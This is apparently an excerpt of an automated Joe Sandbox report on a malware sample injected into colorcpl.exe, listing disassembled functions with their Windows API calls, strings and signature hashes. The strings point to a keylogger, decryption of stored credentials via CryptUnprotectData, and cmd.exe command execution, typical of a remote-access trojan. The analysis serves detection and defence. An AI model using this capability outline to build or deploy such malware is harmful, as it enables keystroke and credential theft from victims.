                                                                                    • API ID: wave$BufferCreateDirectoryHeaderOpenPrepareStart
                                                                                    • String ID:
                                                                                    • API String ID: 1356121797-0
                                                                                    • Opcode ID: 61b0428f8534ccc9ee76eb383fe58199f016736b9ec65b08c6de391211dbfa57
                                                                                    • Instruction ID: 1a7e17de084acba615f5536ae8b742ddcd1f669e32f6bfb1bdf46931dcbd2715
                                                                                    • Opcode Fuzzy Hash: 61b0428f8534ccc9ee76eb383fe58199f016736b9ec65b08c6de391211dbfa57
                                                                                    • Instruction Fuzzy Hash: 46212C7EE942509BD7049F6BA80C916FBA9BB74318700582AE309C6EF0DBB48439DB15
                                                                                    Function 0285C53A Relevance: 7.6, APIs: 5, Instructions: 68COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetEnvironmentStringsW.KERNEL32 ref: 0285C543
                                                                                    • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0285C566
                                                                                      • Part of subcall function 02853649: RtlAllocateHeap.NTDLL(00000000,02843049,?,?,028465E7,?,?,00000000,?,?,0281C88A,02843049,?,?,?,?), ref: 0285367B
                                                                                    • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0285C58C
                                                                                    • _free.LIBCMT ref: 0285C59F
                                                                                    • FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0285C5AE
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
                                                                                    • String ID:
                                                                                    • API String ID: 336800556-0
                                                                                    • Opcode ID: 4f45af8135feebb6dd1eea20655b21eb93b38dcbc102ad5bab76c0000a2a5b3a
                                                                                    • Instruction ID: 45fe7bfaac3c048d2c202e71495a3f958c84d91ea9ad28258295c55891c2c8ba
                                                                                    • Opcode Fuzzy Hash: 4f45af8135feebb6dd1eea20655b21eb93b38dcbc102ad5bab76c0000a2a5b3a
                                                                                    • Instruction Fuzzy Hash: 6A01887EA01375BF272116FB6C4CC7F6A6EEAC6AA5315016BFD08C2240EB649D0189B1
                                                                                    Function 0281FBC8 Relevance: 7.6, APIs: 5, Instructions: 61COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • std::_Lockit::_Lockit.LIBCPMT ref: 0281FBD5
                                                                                    • int.LIBCPMT ref: 0281FBE8
                                                                                      • Part of subcall function 0281CAE9: std::_Lockit::_Lockit.LIBCPMT ref: 0281CAFA
                                                                                      • Part of subcall function 0281CAE9: std::_Lockit::~_Lockit.LIBCPMT ref: 0281CB14
                                                                                    • std::_Facet_Register.LIBCPMT ref: 0281FC28
                                                                                    • std::_Lockit::~_Lockit.LIBCPMT ref: 0281FC31
                                                                                    • __CxxThrowException@8.LIBVCRUNTIME ref: 0281FC4F
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_RegisterThrow
                                                                                    • String ID:
                                                                                    • API String ID: 2536120697-0
                                                                                    • Opcode ID: 25165b89b66cc4775893351422c09776403a427c4847f50bf269d4cd570c8ed2
                                                                                    • Instruction ID: 41a5da27118db66f24fe551b80f8312b7b3fe0eaa84cb37dbc1dd44888fa32d9
                                                                                    • Opcode Fuzzy Hash: 25165b89b66cc4775893351422c09776403a427c4847f50bf269d4cd570c8ed2
                                                                                    • Instruction Fuzzy Hash: 6311E33E900228A7CB11EBACD80489EBB6EDF40720B20059AED05E72D0DE70DE45CFD2
                                                                                    Function 028557A9 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetLastError.KERNEL32(?,00000000,00000000,02849A11,00000000,00000000,?,02849A95,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 028557AE
                                                                                    • _free.LIBCMT ref: 028557E3
                                                                                    • _free.LIBCMT ref: 0285580A
                                                                                    • SetLastError.KERNEL32(00000000), ref: 02855817
                                                                                    • SetLastError.KERNEL32(00000000), ref: 02855820
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ErrorLast$_free
                                                                                    • String ID:
                                                                                    • API String ID: 3170660625-0
                                                                                    • Opcode ID: 254b5adc22419f68c450a0c69490b20bfeb46e8ff1406d41c488a9221a29ffad
                                                                                    • Instruction ID: 861126e67d5d3b70a7c9774c4bcf8a872ff9a10f760908295b22c81e5676cc6a
                                                                                    • Opcode Fuzzy Hash: 254b5adc22419f68c450a0c69490b20bfeb46e8ff1406d41c488a9221a29ffad
                                                                                    • Instruction Fuzzy Hash: B101F93E584734A7D31265386C8CA2B265FDBC17B57614535FD1AE2281EF2DC805CA72
                                                                                    Function 0285DB9C Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • _free.LIBCMT ref: 0285DBB4
                                                                                      • Part of subcall function 02853C92: RtlFreeHeap.NTDLL(00000000,00000000,?,0285DE4F,?,00000000,?,00000000,?,0285E0F3,?,00000007,?,?,0285E63E,?), ref: 02853CA8
                                                                                      • Part of subcall function 02853C92: GetLastError.KERNEL32(?,?,0285DE4F,?,00000000,?,00000000,?,0285E0F3,?,00000007,?,?,0285E63E,?,?), ref: 02853CBA
                                                                                    • _free.LIBCMT ref: 0285DBC6
                                                                                    • _free.LIBCMT ref: 0285DBD8
                                                                                    • _free.LIBCMT ref: 0285DBEA
                                                                                    • _free.LIBCMT ref: 0285DBFC
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: _free$ErrorFreeHeapLast
                                                                                    • String ID:
                                                                                    • API String ID: 776569668-0
                                                                                    • Opcode ID: babb9b84fab4241d4575561b8a7f6c183c5772cde7e7cced8f4e97df6e707c58
                                                                                    • Instruction ID: 1fba261eb5443f8df4ab6425929f48bb1e1e91b3859b564643b83a0564022b77
                                                                                    • Opcode Fuzzy Hash: babb9b84fab4241d4575561b8a7f6c183c5772cde7e7cced8f4e97df6e707c58
                                                                                    • Instruction Fuzzy Hash: A4F0963F800734ABA624EA6CE1CAC1A73DBBA007553558C85FC8AD7640CF30FCC08A61
                                                                                    Function 02851548 Relevance: 7.5, APIs: 5, Instructions: 30COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • _free.LIBCMT ref: 02851566
                                                                                      • Part of subcall function 02853C92: RtlFreeHeap.NTDLL(00000000,00000000,?,0285DE4F,?,00000000,?,00000000,?,0285E0F3,?,00000007,?,?,0285E63E,?), ref: 02853CA8
                                                                                      • Part of subcall function 02853C92: GetLastError.KERNEL32(?,?,0285DE4F,?,00000000,?,00000000,?,0285E0F3,?,00000007,?,?,0285E63E,?,?), ref: 02853CBA
                                                                                    • _free.LIBCMT ref: 02851578
                                                                                    • _free.LIBCMT ref: 0285158B
                                                                                    • _free.LIBCMT ref: 0285159C
                                                                                    • _free.LIBCMT ref: 028515AD
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: _free$ErrorFreeHeapLast
                                                                                    • String ID:
                                                                                    • API String ID: 776569668-0
                                                                                    • Opcode ID: b92160d64147c6e16cea0382dca39d70b09d98dea04b0754439cd21217911b0b
                                                                                    • Instruction ID: b05b95ba59377ee3794ac7ea2e2a99fc82dcdfef26a425c4520e38accec8fbba
                                                                                    • Opcode Fuzzy Hash: b92160d64147c6e16cea0382dca39d70b09d98dea04b0754439cd21217911b0b
                                                                                    • Instruction Fuzzy Hash: B9F01D7EC812308BD6416F19B84D5057B62FB247683418986E96ED6AA0DB3099B98F81
                                                                                    Function 02822446 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 179registryCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • RegQueryInfoKeyW.ADVAPI32(?,?,00000104,00000000,?,?,?,?,?,?,?,?), ref: 028224AD
                                                                                    • RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000104,00000000,?,?,?,?), ref: 028224DC
                                                                                    • RegEnumValueW.ADVAPI32(?,00000000,?,00003FFF,00000000,?,?,00002710,?,?,?,?,?,?,?,?), ref: 0282257C
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Enum$InfoQueryValue
                                                                                    • String ID: [regsplt]
                                                                                    • API String ID: 3554306468-4262303796
                                                                                    • Opcode ID: c8b834b85b819c67d9732d7c6f07909bd31cdfca2683303a086aee885bd60255
                                                                                    • Instruction ID: 97224723b490a3aa58083b0309ffda5d5fc99e9d457c6d649444f943cf0dcf8b
                                                                                    • Opcode Fuzzy Hash: c8b834b85b819c67d9732d7c6f07909bd31cdfca2683303a086aee885bd60255
                                                                                    • Instruction Fuzzy Hash: CF512E7E900119AADB14EBD8DC95EEFB77DAF04300F100165E506E2194EF706B49CFA1
                                                                                    Function 02860054 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 150COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • _free.LIBCMT ref: 02860169
                                                                                      • Part of subcall function 0285FF59: __alloca_probe_16.LIBCMT ref: 0285FFC2
                                                                                      • Part of subcall function 0285FF59: WideCharToMultiByte.KERNEL32(?,00000000,00000000,000000FF,?,00001004,00000000,00000000,?,00000080,00000000,00000000,?,00000080,00000000,00000000), ref: 0286001F
                                                                                      • Part of subcall function 0285FF59: __freea.LIBCMT ref: 02860028
                                                                                    • _free.LIBCMT ref: 028600BF
                                                                                      • Part of subcall function 02853C92: RtlFreeHeap.NTDLL(00000000,00000000,?,0285DE4F,?,00000000,?,00000000,?,0285E0F3,?,00000007,?,?,0285E63E,?), ref: 02853CA8
                                                                                      • Part of subcall function 02853C92: GetLastError.KERNEL32(?,?,0285DE4F,?,00000000,?,00000000,?,0285E0F3,?,00000007,?,?,0285E63E,?,?), ref: 02853CBA
                                                                                    • GetLastError.KERNEL32(?,?,?,?,00000000), ref: 028600FA
                                                                                      • Part of subcall function 02853005: HeapAlloc.KERNEL32(00000008,?,00000000,?,028557DA,00000001,00000364,?,02849A95,00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 02853046
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ErrorHeapLast_free$AllocByteCharFreeMultiWide__alloca_probe_16__freea
                                                                                    • String ID: \y+/
                                                                                    • API String ID: 1317440246-1501633358
                                                                                    • Opcode ID: 57d0e10842248b9adfb75d9d531c0ebd97c186c5692b6a1bb4718bc771941df5
                                                                                    • Instruction ID: 3edab6728160a179bb4997efa5063d98588b24d72c7b1f6113ed81a8840146f9
                                                                                    • Opcode Fuzzy Hash: 57d0e10842248b9adfb75d9d531c0ebd97c186c5692b6a1bb4718bc771941df5
                                                                                    • Instruction Fuzzy Hash: F741607D900229ABDF219E699C48FAF7BBABF45350F004096F948E6141EF31CA50CF66
                                                                                    Function 02850935 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetModuleFileNameA.KERNEL32(00000000,C:\Windows\SysWOW64\colorcpl.exe,00000104), ref: 02850975
                                                                                    • _free.LIBCMT ref: 02850A40
                                                                                    • _free.LIBCMT ref: 02850A4A
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: _free$FileModuleName
                                                                                    • String ID: C:\Windows\SysWOW64\colorcpl.exe
                                                                                    • API String ID: 2506810119-1707929182
                                                                                    • Opcode ID: 6d7c61bb92973bd583e2efc30f88b5b89896da18611ab574417433845cea4787
                                                                                    • Instruction ID: 9b7d30551c339e5893d9df8a9ae6f6d571266833cb216e7e6dc3abbfdb4024c9
                                                                                    • Opcode Fuzzy Hash: 6d7c61bb92973bd583e2efc30f88b5b89896da18611ab574417433845cea4787
                                                                                    • Instruction Fuzzy Hash: 98319F7DE40228AFDB22DF999884A9EBBEDEF98314F104066FD08D7240D7708A54CB91
                                                                                    Function 02857BBA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 101fileCOMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,?,?,00000D55,00000000,00000000,00000000,00000000,?,?,02857F19,02863EB5,00000000,00000000), ref: 02857C6D
                                                                                    • WriteFile.KERNEL32(?,?,00000000,?,00000000,?,02857F19,02863EB5,00000000,00000000,00000000,00000000,00000000,00000000), ref: 02857C9B
                                                                                    • GetLastError.KERNEL32(?,02857F19,02863EB5,00000000,00000000,00000000,00000000,00000000,00000000), ref: 02857CCC
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ByteCharErrorFileLastMultiWideWrite
                                                                                    • String ID: \y+/
                                                                                    • API String ID: 2456169464-1501633358
                                                                                    • Opcode ID: 6a7a9838721e1293b7eb5119462fe594d6994cf8587eb9a81e4af7bd8aa54b9e
                                                                                    • Instruction ID: e518dc9285dec2677f840990f908d81ffe94dd1992e399efea707e10fc1b04ad
                                                                                    • Opcode Fuzzy Hash: 6a7a9838721e1293b7eb5119462fe594d6994cf8587eb9a81e4af7bd8aa54b9e
                                                                                    • Instruction Fuzzy Hash: 71314579A002299FEB24CF59DD859EAB7B9EF08305F1444BDE90AD7250D730AD84CF60
                                                                                    Function 0285FF59 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 101COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • __alloca_probe_16.LIBCMT ref: 0285FFC2
                                                                                    • WideCharToMultiByte.KERNEL32(?,00000000,00000000,000000FF,?,00001004,00000000,00000000,?,00000080,00000000,00000000,?,00000080,00000000,00000000), ref: 0286001F
                                                                                    • __freea.LIBCMT ref: 02860028
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ByteCharMultiWide__alloca_probe_16__freea
                                                                                    • String ID: \y+/
                                                                                    • API String ID: 3062693170-1501633358
                                                                                    • Opcode ID: b09bf850a55f3cd99b145ebb041eadfd479a4db5dd70d061dd26d42b935d7ced
                                                                                    • Instruction ID: 73ae7ec7772695d1d806ec45ea04b19c52dfdfe31bb047769ee6e71875eb1b7c
                                                                                    • Opcode Fuzzy Hash: b09bf850a55f3cd99b145ebb041eadfd479a4db5dd70d061dd26d42b935d7ced
                                                                                    • Instruction Fuzzy Hash: E531F83EA0015AABCB249F69CC89DAFBBA5EF41714B184669ED18DB580DB34DC40CB91
                                                                                    Function 02829675 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 90COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 02822006: RegOpenKeyExW.ADVAPI32(80000000,http\shell\open\command,00000000,00020019,00000000,02882248,02881FFC), ref: 02822030
                                                                                      • Part of subcall function 02822006: RegQueryValueExW.ADVAPI32(00000000,00000000,00000000,00000000,?,00000400), ref: 0282204B
                                                                                      • Part of subcall function 02822006: RegCloseKey.ADVAPI32(00000000), ref: 02822054
                                                                                      • Part of subcall function 02829F23: GetCurrentProcess.KERNEL32(?,?,?,0281C663,WinDir,00000000,00000000), ref: 02829F34
                                                                                    • _wcslen.LIBCMT ref: 02829744
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CloseCurrentOpenProcessQueryValue_wcslen
                                                                                    • String ID: .exe$program files (x86)\$program files\
                                                                                    • API String ID: 37874593-1203593143
                                                                                    • Opcode ID: 504456146bbffc6d53b4b0d12f4643a258a235ea00fc4a20258c1c0b7668318d
                                                                                    • Instruction ID: b80876fbd20a70315185054fb3b40c905c662f9be8b8a1dfe339cb2153bcec13
                                                                                    • Opcode Fuzzy Hash: 504456146bbffc6d53b4b0d12f4643a258a235ea00fc4a20258c1c0b7668318d
                                                                                    • Instruction Fuzzy Hash: 4F21866EA001146BAB18BFFC9C95CBE77AF9F44314B14053DE90AE32C1ED758D4D4A62
                                                                                    Function 0281A0B0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 68timeCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetLocalTime.KERNEL32(?,?,00000000), ref: 0281A0BE
                                                                                    • wsprintfW.USER32 ref: 0281A13F
                                                                                      • Part of subcall function 0281962E: SetEvent.KERNEL32(?,?,?,0281A77B,?,?,?,?,?,00000000), ref: 0281965A
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: EventLocalTimewsprintf
                                                                                    • String ID: [%04i/%02i/%02i %02i:%02i:%02i $]
                                                                                    • API String ID: 1497725170-1359877963
                                                                                    • Opcode ID: 6f94481325772c04f204a62e65bb08448cc864539388ee4211e3147c685099d7
                                                                                    • Instruction ID: b72d54a83f35d18e3b5faaa069626cee16b4b748e374b62aa9c79adb0cf593d6
                                                                                    • Opcode Fuzzy Hash: 6f94481325772c04f204a62e65bb08448cc864539388ee4211e3147c685099d7
                                                                                    • Instruction Fuzzy Hash: 15114F7E504028AA8718FB99EC54CFE77BEEE48310B00411AF506D61C0EF785A46DAB6
                                                                                    Function 02819E37 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 65threadCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 0281A0B0: GetLocalTime.KERNEL32(?,?,00000000), ref: 0281A0BE
                                                                                      • Part of subcall function 0281A0B0: wsprintfW.USER32 ref: 0281A13F
                                                                                      • Part of subcall function 028294DA: GetLocalTime.KERNEL32(00000000), ref: 028294F4
                                                                                    • CreateThread.KERNEL32(00000000,00000000,Function_000092EF,?,00000000,00000000), ref: 02819EB7
                                                                                    • CreateThread.KERNEL32(00000000,00000000,Function_00009311,?,00000000,00000000), ref: 02819EC3
                                                                                    • CreateThread.KERNEL32(00000000,00000000,0281931D,?,00000000,00000000), ref: 02819ECF
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CreateThread$LocalTime$wsprintf
                                                                                    • String ID: Online Keylogger Started
                                                                                    • API String ID: 112202259-1258561607
                                                                                    • Opcode ID: a80dcfb439d71423ee58fc18e3c06aed81ed8a78d18d80f045956ec8c140ee49
                                                                                    • Instruction ID: 799171c98ec51de8b577f7eb5680c5ff2388508b673fdaf34f1bae41a2a18404
                                                                                    • Opcode Fuzzy Hash: a80dcfb439d71423ee58fc18e3c06aed81ed8a78d18d80f045956ec8c140ee49
                                                                                    • Instruction Fuzzy Hash: 8401D6ACB002183EF62477798CD6DBF7B6ECA82258F400559F946922C5D9945C098AF3
                                                                                    Function 02816071 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53libraryloaderCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • LoadLibraryA.KERNEL32(crypt32,CryptUnprotectData,?,00000000,02816039,?,00000000), ref: 02816090
                                                                                    • GetProcAddress.KERNEL32(00000000), ref: 02816097
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: AddressLibraryLoadProc
                                                                                    • String ID: CryptUnprotectData$crypt32
                                                                                    • API String ID: 2574300362-2380590389
                                                                                    • Opcode ID: 53c3bf8906a83c59837f6d07b86e5c535fd97de73b2e6ffbc05aa5d81c7a5031
                                                                                    • Instruction ID: dd836b58b7263e52ff5ac2dfc61549c92316a0b405198b69b28f41c540181cd6
                                                                                    • Opcode Fuzzy Hash: 53c3bf8906a83c59837f6d07b86e5c535fd97de73b2e6ffbc05aa5d81c7a5031
                                                                                    • Instruction Fuzzy Hash: 5301DD3DE04265ABDB14CF79D854DAFBBBCAB54110B00466DD955D3780E731D504CB90
                                                                                    Function 0281513C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 46synchronizationCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • WaitForSingleObject.KERNEL32(?,000003E8,?,?,?,02815139), ref: 02815153
                                                                                    • CloseHandle.KERNEL32(?), ref: 028151AA
                                                                                    • SetEvent.KERNEL32(?), ref: 028151B9
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CloseEventHandleObjectSingleWait
                                                                                    • String ID: Connection Timeout
                                                                                    • API String ID: 2055531096-499159329
                                                                                    • Opcode ID: 546aa751992306637d56eff5c1431373bb9102d0750c3729d227d9792dc50850
                                                                                    • Instruction ID: 1997214966791eaaf636b022d2da67c7e37ba58df851cac558148b78c8cd8582
                                                                                    • Opcode Fuzzy Hash: 546aa751992306637d56eff5c1431373bb9102d0750c3729d227d9792dc50850
                                                                                    • Instruction Fuzzy Hash: 1E01D47DA80B90AFF727AB39884542ABBDEBF513057440D1DD5D3C2BA1DB68A410CF52
                                                                                    Function 0281D1F0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 45COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • __CxxThrowException@8.LIBVCRUNTIME ref: 0281D25E
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Exception@8Throw
                                                                                    • String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
                                                                                    • API String ID: 2005118841-1866435925
                                                                                    • Opcode ID: a1a2c9ce1a67b4f828782935d126f04954d937902917e318d69e2b978e10fb19
                                                                                    • Instruction ID: 3371f624e52b53ad142cda4ee316abe9340b8e95463303fc3f7e0bcd348b2128
                                                                                    • Opcode Fuzzy Hash: a1a2c9ce1a67b4f828782935d126f04954d937902917e318d69e2b978e10fb19
                                                                                    • Instruction Fuzzy Hash: 1D01D66E68420C7EEB18E698C812FB9B36D9B20744F008045A927E54C1DB65F606CA27
                                                                                    Function 02824839 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 42COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • ShellExecuteW.SHELL32(00000000,open,cmd.exe,00000000,00000000,00000000), ref: 0282487B
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ExecuteShell
                                                                                    • String ID: /C $cmd.exe$open
                                                                                    • API String ID: 587946157-3896048727
                                                                                    • Opcode ID: 508043bbee965970f2829db10813d0ded32ca51fd08cb037ed95bb0725da2219
                                                                                    • Instruction ID: 9f1bbb47f868ebf920564764f1d1445acd402efeb52ee292cb883cc5de4bd192
                                                                                    • Opcode Fuzzy Hash: 508043bbee965970f2829db10813d0ded32ca51fd08cb037ed95bb0725da2219
                                                                                    • Instruction Fuzzy Hash: 73F0177D1482045AD304FBA8D898CAFB39DAB90310F40492DE25BC15D0EE74994DCA13
                                                                                    Function 02822006 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 40registryCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • RegOpenKeyExW.ADVAPI32(80000000,http\shell\open\command,00000000,00020019,00000000,02882248,02881FFC), ref: 02822030
